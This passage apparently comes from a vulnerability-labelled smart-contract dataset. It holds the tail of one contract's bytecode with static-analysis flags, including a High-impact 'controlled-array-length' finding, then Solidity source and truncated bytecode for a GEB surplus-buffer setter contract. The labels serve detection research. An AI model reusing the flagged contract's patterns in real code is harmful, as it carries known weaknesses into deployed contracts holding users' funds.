ffffffffffffff160217905550505050868181518110151561189557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef88848151811015156118fb57fe5b906020019060200201516040518082815260200191505060405180910390a3808060010191505061166e565b61197984601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae290919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501115611a5357601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611a529190612b16565b5b6000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611be357601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505050505b600194505050505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c7357600080fd5b600081111515611c8257600080fd5b611cd481601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae290919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611d629190612b16565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050611ebe81600e54612ae290919063ffffffff16565b600e81905550611ed981601054612ae290919063ffffffff16565b601081905550611ef7600a8202600f54612ae290919063ffffffff16565b600f819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a250565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611fe45780601f10611fb957610100808354040283529160200191611fe4565b820191906000526020600020905b815481529060010190602001808311611fc757829003601f168201915b505050505081565b60105481565b60008060406004810160003690501015151561200d57600080fd5b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561205057612049610ace565b92506124cd565b6120a284601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae290919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061213784601160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281e90919063ffffffff16565b601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050111561227657601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006122759190612b16565b5b429150601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280866fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050600192505b505092915050565b600080429050600d549150600061250d6301e133806124ff600a5485612ae290919063ffffffff16565b612afb90919063ffffffff16565b14156125345761252d6064600d5461030202612afb90919063ffffffff16565b9150612585565b60016125616301e13380612553600a5485612ae290919063ffffffff16565b612afb90919063ffffffff16565b1415612584576125816064600d546101b302612afb90919063ffffffff16565b91505b5b5090565b600b5481565b60095481565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600d5481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561268457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156126c057600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600080600a54421015801561271e57506000600a54115b151561272957600080fd5b429250612736858461283c565b915060008211151561274b5760009350612816565b600d549050600061277d6301e1338061276f600a5487612ae290919063ffffffff16565b612afb90919063ffffffff16565b14156127a45761279d6064600d5461030202612afb90919063ffffffff16565b90506127f5565b60016127d16301e133806127c3600a5487612ae290919063ffffffff16565b612afb90919063ffffffff16565b14156127f4576127f16064600d546101b302612afb90919063ffffffff16565b90505b5b612813600754600a0a61016d02828402612afb90919063ffffffff16565b93505b505050919050565b600080828401905083811015151561283257fe5b8091505092915050565b600080600080601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501115156128955760009250612ada565b600091505b601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050821015612ad957612970600b54601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110151561293657fe5b9060005260206000200160000160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1661281e90919063ffffffff16565b84101561297c57612acc565b612a06601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811015156129cb57fe5b9060005260206000200160000160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1685612ae290919063ffffffff16565b9050600c54811115612a1857600c5490505b612ac9612a316201518083612afb90919063ffffffff16565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002084815481101515612a7d57fe5b9060005260206000200160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16028461281e90919063ffffffff16565b92505b818060010192505061289a565b5b505092915050565b6000828211151515612af057fe5b818303905092915050565b6000808284811515612b0957fe5b0490508091505092915050565b5080546000825590600052602060002090810190612b349190612b37565b50565b612b9191905b80821115612b8d57600080820160006101000a8154906fffffffffffffffffffffffffffffffff02191690556000820160106101000a81549067ffffffffffffffff021916905550600101612b3d565b5090565b905600a165627a7a72305820bbdd87394d36a601c00bbb1548c8bee91a64bf049b79053bf8982c753b1593450029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,698
0x9fe16154582ecce3414536fde57a201c17398b2a
pragma solidity 0.6.7; contract GebMath { uint256 public constant RAY = 10 ** 27; uint256 public constant WAD = 10 ** 18; function ray(uint x) public pure returns (uint z) { z = multiply(x, 10 ** 9); } function rad(uint x) public pure returns (uint z) { z = multiply(x, 10 ** 27); } function minimum(uint x, uint y) public pure returns (uint z) { z = (x <= y) ? x : y; } function addition(uint x, uint y) public pure returns (uint z) { z = x + y; require(z >= x, "uint-uint-add-overflow"); } function subtract(uint x, uint y) public pure returns (uint z) { z = x - y; require(z <= x, "uint-uint-sub-underflow"); } function multiply(uint x, uint y) public pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "uint-uint-mul-overflow"); } function rmultiply(uint x, uint y) public pure returns (uint z) { z = multiply(x, y) / RAY; } function rdivide(uint x, uint y) public pure returns (uint z) { z = multiply(x, RAY) / y; } function wdivide(uint x, uint y) public pure returns (uint z) { z = multiply(x, WAD) / y; } function wmultiply(uint x, uint y) public pure returns (uint z) { z = multiply(x, y) / WAD; } function rpower(uint x, uint n, uint base) public pure returns (uint z) { assembly { switch x case 0 {switch n case 0 {z := base} default {z := 0}} default { switch mod(n, 2) case 0 { z := base } default { z := x } let half := div(base, 2) // for rounding. for { n := div(n, 2) } n { n := div(n,2) } { let xx := mul(x, x) if iszero(eq(div(xx, x), x)) { revert(0,0) } let xxRound := add(xx, half) if lt(xxRound, xx) { revert(0,0) } x := div(xxRound, base) if mod(n,2) { let zx := mul(z, x) if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) } let zxRound := add(zx, half) if lt(zxRound, zx) { revert(0,0) } z := div(zxRound, base) } } } } } } abstract contract StabilityFeeTreasuryLike { function getAllowance(address) virtual external view returns (uint, uint); function systemCoin() virtual external view returns (address); function pullFunds(address, address, uint) virtual external; } contract IncreasingTreasuryReimbursement is GebMath { // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) virtual external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) virtual external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "IncreasingTreasuryReimbursement/account-not-authorized"); _; } // --- Variables --- // Starting reward for the fee receiver/keeper uint256 public baseUpdateCallerReward; // [wad] // Max possible reward for the fee receiver/keeper uint256 public maxUpdateCallerReward; // [wad] // Max delay taken into consideration when calculating the adjusted reward uint256 public maxRewardIncreaseDelay; // [seconds] // Rate applied to baseUpdateCallerReward every extra second passed beyond a certain point (e.g next time when a specific function needs to be called) uint256 public perSecondCallerRewardIncrease; // [ray] // SF treasury StabilityFeeTreasuryLike public treasury; // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event ModifyParameters( bytes32 parameter, address addr ); event ModifyParameters( bytes32 parameter, uint256 val ); event FailRewardCaller(bytes revertReason, address feeReceiver, uint256 amount); constructor( address treasury_, uint256 baseUpdateCallerReward_, uint256 maxUpdateCallerReward_, uint256 perSecondCallerRewardIncrease_ ) public { if (address(treasury_) != address(0)) { require(StabilityFeeTreasuryLike(treasury_).systemCoin() != address(0), "IncreasingTreasuryReimbursement/treasury-coin-not-set"); } require(maxUpdateCallerReward_ >= baseUpdateCallerReward_, "IncreasingTreasuryReimbursement/invalid-max-caller-reward"); require(perSecondCallerRewardIncrease_ >= RAY, "IncreasingTreasuryReimbursement/invalid-per-second-reward-increase"); authorizedAccounts[msg.sender] = 1; treasury = StabilityFeeTreasuryLike(treasury_); baseUpdateCallerReward = baseUpdateCallerReward_; maxUpdateCallerReward = maxUpdateCallerReward_; perSecondCallerRewardIncrease = perSecondCallerRewardIncrease_; maxRewardIncreaseDelay = uint(-1); emit AddAuthorization(msg.sender); emit ModifyParameters("treasury", treasury_); emit ModifyParameters("baseUpdateCallerReward", baseUpdateCallerReward); emit ModifyParameters("maxUpdateCallerReward", maxUpdateCallerReward); emit ModifyParameters("perSecondCallerRewardIncrease", perSecondCallerRewardIncrease); } // --- Boolean Logic --- function either(bool x, bool y) internal pure returns (bool z) { assembly{ z := or(x, y)} } // --- Treasury --- /** * @notice This returns the stability fee treasury allowance for this contract by taking the minimum between the per block and the total allowances **/ function treasuryAllowance() public view returns (uint256) { (uint total, uint perBlock) = treasury.getAllowance(address(this)); return minimum(total, perBlock); } /* * @notice Get the SF reward that can be sent to a function caller right now * @param timeOfLastUpdate The last time when the function that the treasury pays for has been updated * @param defaultDelayBetweenCalls Enforced delay between calls to the function for which the treasury reimburses callers */ function getCallerReward(uint256 timeOfLastUpdate, uint256 defaultDelayBetweenCalls) public view returns (uint256) { // If the rewards are null or if the time of the last update is in the future or present, return 0 bool nullRewards = (baseUpdateCallerReward == 0 && maxUpdateCallerReward == 0); if (either(timeOfLastUpdate >= now, nullRewards)) return 0; // If the time elapsed is smaller than defaultDelayBetweenCalls or if the base reward is zero, return 0 uint256 timeElapsed = (timeOfLastUpdate == 0) ? defaultDelayBetweenCalls : subtract(now, timeOfLastUpdate); if (either(timeElapsed < defaultDelayBetweenCalls, baseUpdateCallerReward == 0)) { return 0; } // If too much time elapsed, return the max reward uint256 adjustedTime = subtract(timeElapsed, defaultDelayBetweenCalls); uint256 maxPossibleReward = minimum(maxUpdateCallerReward, treasuryAllowance() / RAY); if (adjustedTime > maxRewardIncreaseDelay) { return maxPossibleReward; } // Calculate the reward uint256 calculatedReward = baseUpdateCallerReward; if (adjustedTime > 0) { calculatedReward = rmultiply(rpower(perSecondCallerRewardIncrease, adjustedTime, RAY), calculatedReward); } // If the reward is higher than max, set it to max if (calculatedReward > maxPossibleReward) { calculatedReward = maxPossibleReward; } return calculatedReward; } /** * @notice Send a stability fee reward to an address * @param proposedFeeReceiver The SF receiver * @param reward The system coin amount to send **/ function rewardCaller(address proposedFeeReceiver, uint256 reward) internal { // If the receiver is the treasury itself or if the treasury is null or if the reward is zero, return if (address(treasury) == proposedFeeReceiver) return; if (either(address(treasury) == address(0), reward == 0)) return; // Determine the actual receiver and send funds address finalFeeReceiver = (proposedFeeReceiver == address(0)) ? msg.sender : proposedFeeReceiver; try treasury.pullFunds(finalFeeReceiver, treasury.systemCoin(), reward) {} catch(bytes memory revertReason) { emit FailRewardCaller(revertReason, finalFeeReceiver, reward); } } } abstract contract AccountingEngineLike { function surplusBuffer() virtual public view returns (uint256); function modifyParameters(bytes32, uint256) virtual external; } abstract contract SAFEEngineLike { function globalDebt() virtual external view returns (uint256); } contract AutoInflatingSurplusBufferSetter is IncreasingTreasuryReimbursement { // --- Variables --- // Whether buffer adjustments are blocked or not uint256 public stopAdjustments; // Delay between updates after which the reward starts to increase uint256 public updateDelay; // [seconds] // The minimum buffer that must be maintained uint256 public minimumBufferSize; // [rad] // The max buffer allowed uint256 public maximumBufferSize; // [rad] // Last read global debt uint256 public lastRecordedGlobalDebt; // [rad] // Minimum change compared to current globalDebt that allows a new modifyParameters() call uint256 public minimumGlobalDebtChange; // [thousand] // Percentage of global debt that should be covered by the buffer uint256 public coveredDebt; // [thousand] // Last timestamp when the median was updated uint256 public lastUpdateTime; // [unix timestamp] // Delay between two consecutive inflation related updates uint256 public bufferInflationDelay; // The target inflation applied to minimumBufferSize uint256 public bufferTargetInflation; // The last time when inflation was applied to the minimumBufferSize uint256 public bufferInflationUpdateTime; // [unix timestamp] // Safe engine contract SAFEEngineLike public safeEngine; // Accounting engine contract AccountingEngineLike public accountingEngine; // Max inflation per period uint256 public constant MAX_INFLATION = 50; constructor( address treasury_, address safeEngine_, address accountingEngine_, uint256 minimumBufferSize_, uint256 minimumGlobalDebtChange_, uint256 coveredDebt_, uint256 updateDelay_, uint256 baseUpdateCallerReward_, uint256 maxUpdateCallerReward_, uint256 perSecondCallerRewardIncrease_ ) public IncreasingTreasuryReimbursement(treasury_, baseUpdateCallerReward_, maxUpdateCallerReward_, perSecondCallerRewardIncrease_) { require(both(minimumGlobalDebtChange_ > 0, minimumGlobalDebtChange_ <= THOUSAND), "AutoSurplusBufferSetter/invalid-debt-change"); require(both(coveredDebt_ > 0, coveredDebt_ <= THOUSAND), "AutoSurplusBufferSetter/invalid-covered-debt"); require(updateDelay_ > 0, "AutoSurplusBufferSetter/null-update-delay"); minimumBufferSize = minimumBufferSize_; maximumBufferSize = uint(-1); coveredDebt = coveredDebt_; minimumGlobalDebtChange = minimumGlobalDebtChange_; updateDelay = updateDelay_; bufferTargetInflation = 0; bufferInflationDelay = uint(-1) / 2; bufferInflationUpdateTime = now; safeEngine = SAFEEngineLike(safeEngine_); accountingEngine = AccountingEngineLike(accountingEngine_); emit ModifyParameters(bytes32("minimumBufferSize"), minimumBufferSize); emit ModifyParameters(bytes32("maximumBufferSize"), maximumBufferSize); emit ModifyParameters(bytes32("coveredDebt"), coveredDebt); emit ModifyParameters(bytes32("minimumGlobalDebtChange"), minimumGlobalDebtChange); emit ModifyParameters(bytes32("accountingEngine"), address(accountingEngine)); } // --- Boolean Logic --- function both(bool x, bool y) internal pure returns (bool z) { assembly{ z := and(x, y)} } // --- Administration --- /* * @notify Modify an uint256 parameter * @param parameter The name of the parameter to change * @param val The new parameter value */ function modifyParameters(bytes32 parameter, uint256 val) external isAuthorized { if (parameter == "minimumBufferSize") minimumBufferSize = val; else if (parameter == "maximumBufferSize") { require(val >= minimumBufferSize, "AutoSurplusBufferSetter/max-buffer-size-too-small"); maximumBufferSize = val; } else if (parameter == "minimumGlobalDebtChange") { require(both(val > 0, val <= THOUSAND), "AutoSurplusBufferSetter/invalid-debt-change"); minimumGlobalDebtChange = val; } else if (parameter == "coveredDebt") { require(both(val > 0, val <= THOUSAND), "AutoSurplusBufferSetter/invalid-covered-debt"); coveredDebt = val; } else if (parameter == "baseUpdateCallerReward") { require(val <= maxUpdateCallerReward, "AutoSurplusBufferSetter/invalid-min-reward"); baseUpdateCallerReward = val; } else if (parameter == "maxUpdateCallerReward") { require(val >= baseUpdateCallerReward, "AutoSurplusBufferSetter/invalid-max-reward"); maxUpdateCallerReward = val; } else if (parameter == "perSecondCallerRewardIncrease") { require(val >= RAY, "AutoSurplusBufferSetter/invalid-reward-increase"); perSecondCallerRewardIncrease = val; } else if (parameter == "maxRewardIncreaseDelay") { require(val > 0, "AutoSurplusBufferSetter/invalid-max-increase-delay"); maxRewardIncreaseDelay = val; } else if (parameter == "updateDelay") { require(val > 0, "AutoSurplusBufferSetter/null-update-delay"); updateDelay = val; } else if (parameter == "stopAdjustments") { require(val <= 1, "AutoSurplusBufferSetter/invalid-stop-adjust"); stopAdjustments = val; } else if (parameter == "bufferInflationUpdateTime") { require(both(val >= bufferInflationUpdateTime, val <= now), "AutoSurplusBufferSetter/invalid-inflation-update-time"); bufferInflationUpdateTime = val; } else if (parameter == "bufferInflationDelay") { require(val <= uint(-1) / 2, "AutoSurplusBufferSetter/invalid-inflation-delay"); bufferInflationDelay = val; } else if (parameter == "bufferTargetInflation") { require(val <= MAX_INFLATION, "AutoSurplusBufferSetter/invalid-target-inflation"); bufferTargetInflation = val; } else revert("AutoSurplusBufferSetter/modify-unrecognized-param"); emit ModifyParameters(parameter, val); } /* * @notify Modify an address param * @param parameter The name of the parameter to change * @param addr The new address for the parameter */ function modifyParameters(bytes32 parameter, address addr) external isAuthorized { require(addr != address(0), "AutoSurplusBufferSetter/null-address"); if (parameter == "accountingEngine") accountingEngine = AccountingEngineLike(addr); else if (parameter == "treasury") treasury = StabilityFeeTreasuryLike(addr); else revert("AutoSurplusBufferSetter/modify-unrecognized-param"); emit ModifyParameters(parameter, addr); } // --- Math --- uint internal constant RAD = 10 ** 45; uint internal constant THOUSAND = 1000; // --- Utils --- /* * @notify Return the percentage debt change since the last recorded debt amount in the system * @param currentGlobalDebt The current globalDebt in the system */ function percentageDebtChange(uint currentGlobalDebt) public view returns (uint256) { if (lastRecordedGlobalDebt == 0) return uint(-1); uint256 deltaDebt = (currentGlobalDebt >= lastRecordedGlobalDebt) ? subtract(currentGlobalDebt, lastRecordedGlobalDebt) : subtract(lastRecordedGlobalDebt, currentGlobalDebt); return multiply(deltaDebt, THOUSAND) / lastRecordedGlobalDebt; } /* * @notify Return the upcoming surplus buffer * @param currentGlobalDebt The current amount of debt in the system * @return newBuffer The new surplus buffer */ function getNewBuffer(uint256 currentGlobalDebt) public view returns (uint newBuffer) { if (currentGlobalDebt >= uint(-1) / coveredDebt) return maximumBufferSize; newBuffer = multiply(coveredDebt, currentGlobalDebt) / THOUSAND; newBuffer = both(newBuffer > maximumBufferSize, maximumBufferSize > 0) ? maximumBufferSize : newBuffer; newBuffer = (newBuffer < minimumBufferSize) ? minimumBufferSize : newBuffer; } // --- Buffer Adjustment --- /* * @notify Calculate and set a new surplus buffer * @param feeReceiver The address that will receive the SF reward for calling this function */ function adjustSurplusBuffer(address feeReceiver) external { // Check if adjustments are forbidden or not require(stopAdjustments == 0, "AutoSurplusBufferSetter/cannot-adjust"); // Check delay between calls require(either(subtract(now, lastUpdateTime) >= updateDelay, lastUpdateTime == 0), "AutoSurplusBufferSetter/wait-more"); // Apply buffer bound inflation applyInflation(); // Get the caller's reward uint256 callerReward = getCallerReward(lastUpdateTime, updateDelay); // Store the timestamp of the update lastUpdateTime = now; // Get the current global debt uint currentGlobalDebt = safeEngine.globalDebt(); // Check if we didn't already reach the max buffer if (both(currentGlobalDebt > lastRecordedGlobalDebt, maximumBufferSize > 0)) { require(accountingEngine.surplusBuffer() < maximumBufferSize, "AutoSurplusBufferSetter/max-buffer-reached"); } // Check that global debt changed enough require(percentageDebtChange(currentGlobalDebt) >= subtract(THOUSAND, minimumGlobalDebtChange), "AutoSurplusBufferSetter/small-debt-change"); // Compute the new buffer uint newBuffer = getNewBuffer(currentGlobalDebt); lastRecordedGlobalDebt = currentGlobalDebt; accountingEngine.modifyParameters("surplusBuffer", newBuffer); // Pay the caller for updating the rate rewardCaller(feeReceiver, callerReward); } // --- Internal Logic --- /* * @notice Automatically apply inflation to the minimumBufferSize */ function applyInflation() internal { uint256 updateSlots = subtract(now, bufferInflationUpdateTime) / bufferInflationDelay; if (updateSlots == 0) return; bufferInflationUpdateTime = addition(bufferInflationUpdateTime, multiply(updateSlots, bufferInflationDelay)); for (uint256 i = 0; i < updateSlots; i++) { minimumBufferSize = addition(minimumBufferSize, multiply(minimumBufferSize / 100, bufferTargetInflation)); } } }
0x608060405234801561001057600080fd5b506004361061025e5760003560e01c80635fc0338111610146578063a0871637116100c3578063dd2d2a1211610087578063dd2d2a1214610566578063e0ed8f3314610589578063f238ffd214610591578063f752fdc3146105b4578063fdb04bbf146105d7578063fe4f5890146105df5761025e565b8063a0871637146104e4578063bf1ad0db14610507578063c8f33c911461052d578063cb64854314610535578063d6e882dc1461053d5761025e565b80636a1460241161010a5780636a1460241461049e57806393a325ea146104a657806394f3f81d146104ae578063961d45c4146104d45780639930ffaf146104dc5761025e565b80635fc033811461043657806361d027b31461043e5780636614f0101461046257806367aea3131461048e57806369dec276146104965761025e565b806335b28153116101df57806346f3e81c116101a357806346f3e81c146103d6578063531cf999146103f357806354f363a3146103fb578063552033c41461041e578063554f94db14610426578063576e33541461042e5761025e565b806335b28153146103435780633c8bb3e61461036b5780633ef5e4451461038e5780634329a98c146103b157806343943b6b146103ce5761025e565b80631c1f908c116102265780631c1f908c146102fd5780632009e5681461030557806324ba58841461030d57806329282428146103335780633425677e1461033b5761025e565b806304f107ab14610263578063056640b71461029257806308e32378146102b557806310213447146102bd578063165c4a16146102da575b600080fd5b6102806004803603602081101561027957600080fd5b5035610602565b60408051918252519081900360200190f35b610280600480360360408110156102a857600080fd5b5080359060200135610663565b61028061068a565b610280600480360360208110156102d357600080fd5b5035610690565b610280600480360360408110156102f057600080fd5b50803590602001356106a6565b61028061070b565b610280610711565b6102806004803603602081101561032357600080fd5b50356001600160a01b0316610717565b610280610729565b61028061072f565b6103696004803603602081101561035957600080fd5b50356001600160a01b03166107c6565b005b6102806004803603604081101561038157600080fd5b5080359060200135610866565b610280600480360360408110156103a457600080fd5b508035906020013561087b565b610280600480360360208110156103c757600080fd5b50356108d3565b610280610945565b610280600480360360208110156103ec57600080fd5b503561094b565b610280610962565b6102806004803603604081101561041157600080fd5b5080359060200135610968565b6102806109b9565b6102806109c8565b6102806109ce565b6102806109d4565b6104466109da565b604080516001600160a01b039092168252519081900360200190f35b6103696004803603604081101561047857600080fd5b50803590602001356001600160a01b03166109e9565b610446610b68565b610280610b77565b610280610b7d565b610280610b89565b610369600480360360208110156104c457600080fd5b50356001600160a01b0316610b8f565b610446610c2e565b610280610c3d565b610280600480360360408110156104fa57600080fd5b5080359060200135610c43565b6103696004803603602081101561051d57600080fd5b50356001600160a01b0316610c5b565b610280610f4f565b610280610f55565b6102806004803603606081101561055357600080fd5b5080359060208101359060400135610f5b565b6102806004803603604081101561057c57600080fd5b5080359060200135611019565b610280611032565b610280600480360360408110156105a757600080fd5b5080359060200135611038565b610280600480360360408110156105ca57600080fd5b5080359060200135611138565b61028061114d565b610369600480360360408110156105f557600080fd5b5080359060200135611152565b6000600a5460001415610618575060001961065e565b6000600a5483101561063557610630600a548461087b565b610641565b61064183600a5461087b565b9050600a54610652826103e86106a6565b8161065957fe5b049150505b919050565b6000676765c793fa10079d601b1b61067b84846106a6565b8161068257fe5b049392505050565b600a5481565b60006106a082633b9aca006106a6565b92915050565b60008115806106c1575050808202828282816106be57fe5b04145b6106a0576040805162461bcd60e51b815260206004820152601660248201527575696e742d75696e742d6d756c2d6f766572666c6f7760501b604482015290519081900360640190fd5b60015481565b60035481565b60006020819052908152604090205481565b600c5481565b600554604080516375ad331760e11b81523060048201528151600093849384936001600160a01b039092169263eb5a662e926024808201939291829003018186803b15801561077d57600080fd5b505afa158015610791573d6000803e3d6000fd5b505050506040513d60408110156107a757600080fd5b50805160209091015190925090506107bf8282611019565b9250505090565b336000908152602081905260409020546001146108145760405162461bcd60e51b8152600401808060200182810382526036815260200180611bec6036913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b6000670de0b6b3a764000061067b84846106a6565b808203828111156106a0576040805162461bcd60e51b815260206004820152601760248201527f75696e742d75696e742d7375622d756e646572666c6f77000000000000000000604482015290519081900360640190fd5b6000600c54600019816108e257fe5b0482106108f2575060095461065e565b6103e8610901600c54846106a6565b8161090857fe5b04905061091e600954821160006009541161172c565b610928578061092c565b6009545b9050600854811061093d57806106a0565b505060085490565b60045481565b60006106a082676765c793fa10079d601b1b6106a6565b60105481565b818101828110156106a0576040805162461bcd60e51b815260206004820152601660248201527575696e742d75696e742d6164642d6f766572666c6f7760501b604482015290519081900360640190fd5b676765c793fa10079d601b1b81565b60075481565b600f5481565b600b5481565b6005546001600160a01b031681565b33600090815260208190526040902054600114610a375760405162461bcd60e51b8152600401808060200182810382526036815260200180611bec6036913960400191505060405180910390fd5b6001600160a01b038116610a7c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611b0c6024913960400191505060405180910390fd5b816f6163636f756e74696e67456e67696e6560801b1415610ab757601280546001600160a01b0319166001600160a01b038316179055610b21565b8167747265617375727960c01b1415610aea57600580546001600160a01b0319166001600160a01b038316179055610b21565b60405162461bcd60e51b8152600401808060200182810382526031815260200180611a5e6031913960400191505060405180910390fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b6011546001600160a01b031681565b60025481565b670de0b6b3a764000081565b60065481565b33600090815260208190526040902054600114610bdd5760405162461bcd60e51b8152600401808060200182810382526036815260200180611bec6036913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b6012546001600160a01b031681565b60095481565b60008161067b84676765c793fa10079d601b1b6106a6565b60065415610c9a5760405162461bcd60e51b8152600401808060200182810382526025815260200180611ca76025913960400191505060405180910390fd5b610cb9600754610cac42600d5461087b565b1015600d54600014611730565b610cf45760405162461bcd60e51b8152600401808060200182810382526021815260200180611aba6021913960400191505060405180910390fd5b610cfc611734565b6000610d0c600d54600754611038565b42600d556011546040805163042a1eaf60e51b815290519293506000926001600160a01b0390921691638543d5e091600480820192602092909190829003018186803b158015610d5b57600080fd5b505afa158015610d6f573d6000803e3d600